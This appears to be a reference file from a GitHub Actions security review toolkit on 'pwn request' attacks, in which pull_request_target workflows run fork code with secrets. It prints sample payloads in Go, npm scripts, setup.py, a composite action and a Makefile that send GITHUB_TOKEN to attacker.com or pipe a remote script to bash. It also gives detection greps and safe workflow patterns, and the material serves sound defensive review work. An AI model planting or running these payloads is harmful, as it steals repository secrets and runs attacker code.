GitHub Actions Security Review | Package file

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Pwn Request Attacks

Overview

A "pwn request" occurs when a pull_request_target workflow checks out and executes code from a fork PR. The pull_request_target trigger runs with the target repository's permissions and secrets, but if it checks out the fork's code, the attacker's code runs with those elevated privileges.

The Vulnerability

# VULNERABLE: checks out fork code with target repo permissions
on: pull_request_target

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: write
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Fork code!
      - run: npm install && npm test  # Executes attacker's code

The key elements: 1. pull_request_target grants target repo permissions/secrets 2. actions/checkout with ref: pointing to the PR head checks out fork code 3. Any run: step after checkout executes attacker-controlled code

Attack Vectors

Go init() Injection

Go's init() functions execute automatically before main(). If a workflow runs go run on checked-out fork code:

// Attacker adds this to any .go file in the repo
package main

import "os/exec"

func init() {
    _ = exec.Command("bash", "-c",
        `curl -s -H "Authorization: Bearer $GITHUB_TOKEN" \
        -d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY" \
        https://attacker.com/collect`).Run()
}

Real-world: Used against awesome-go (140k+ stars). The Go quality check script ran go run ./.github/scripts/check-quality/, and the attacker injected an init() function that exfiltrated GITHUB_TOKEN with write permissions across 6 PRs.

npm preinstall / postinstall

{
  "scripts": {
    "preinstall": "curl -sSfL https://attacker.com/steal | bash"
  }
}

Any npm install, npm ci, or npm test (which often installs first) will execute these scripts.

Python setup.py

from setuptools import setup
from setuptools.command.install import install
import os

class Exploit(install):
    def run(self):
        os.system(f"curl -d token=$GITHUB_TOKEN https://attacker.com/collect")
        install.run(self)

setup(cmdclass={"install": Exploit})

Local Action Override

If the workflow uses a local action (./.github/actions/setup/action.yml), the attacker can modify it in their fork:

# Attacker's version of .github/actions/setup/action.yml
name: Setup
runs:
  using: composite
  steps:
    - run: curl -sSfL https://attacker.com/steal | bash
      shell: bash
    - run: echo "Setup complete"
      shell: bash

Real-world: Used against trivy (25k+ stars). The attacker modified .github/actions/setup-go/action.yaml to inject a payload. The "Set up Go" step took 5+ minutes (vs. normal seconds), and the stolen PAT was used to rename the repo, delete releases, and push malicious artifacts.

Makefile / Shell Script Override

If the workflow runs make or a shell script from the checkout:

# Attacker's Makefile
.PHONY: all
all:
    @curl -sSfL https://attacker.com/steal | bash
    @$(MAKE) real-build

Detection Patterns

# Find pull_request_target workflows
grep -rn "pull_request_target" .github/workflows/

# Check if they checkout fork code
grep -A 20 "pull_request_target" .github/workflows/*.yml | grep -E "ref:.*pull_request\.(head\.sha|head\.ref)"

# Check for local action usage (could be overridden by fork)
grep -rn "uses: \.\/" .github/workflows/

# Check what runs after checkout
grep -A 50 "actions/checkout" .github/workflows/*.yml | grep -E "^[[:space:]]*- run:"

Safe Pattern: Workflow Split

The fix is to split into two workflows: one that builds (with fork code, no secrets) and one that deploys (with secrets, no fork code).

# Workflow 1: Build (runs on fork code, no secrets)
name: Build
on: pull_request  # NOT pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@v4  # Fork code, but read-only token
      - run: npm install && npm test
      - uses: actions/upload-artifact@v4
        with:
          name: build-output
          path: dist/

# Workflow 2: Deploy (runs on trusted code, has secrets)
name: Deploy
on:
  workflow_run:
    workflows: [Build]
    types: [completed]
jobs:
  deploy:
    if: github.event.workflow_run.conclusion == 'success'
    runs-on: ubuntu-latest
    permissions:
      contents: write
    steps:
      - uses: actions/checkout@v4  # Target repo code only
      - uses: actions/download-artifact@v4
        with:
          run-id: ${{ github.event.workflow_run.id }}
      # Deploy using trusted code + secrets

Safe Pattern: pull_request_target Without Checkout

# SAFE: pull_request_target that only reads PR metadata
on: pull_request_target
jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - uses: actions/labeler@v5  # Only reads PR metadata
      # No checkout of fork code — attacker can't execute anything

Exploitation Scenario Template

ATTACK: Pwn Request via [Vector]
ENTRY: Attacker forks the repo and opens a PR
PAYLOAD: Modified [file] containing [malicious code]
TRIGGER: pull_request_target workflow at [workflow file:line]
EXECUTION: Workflow checks out fork code (line X), then runs [command] (line Y)
  which executes the attacker's modified [file]
IMPACT: GITHUB_TOKEN with [permissions] exfiltrated; attacker can [actions]

getsentry-gha-security-review/references/pwn-request.md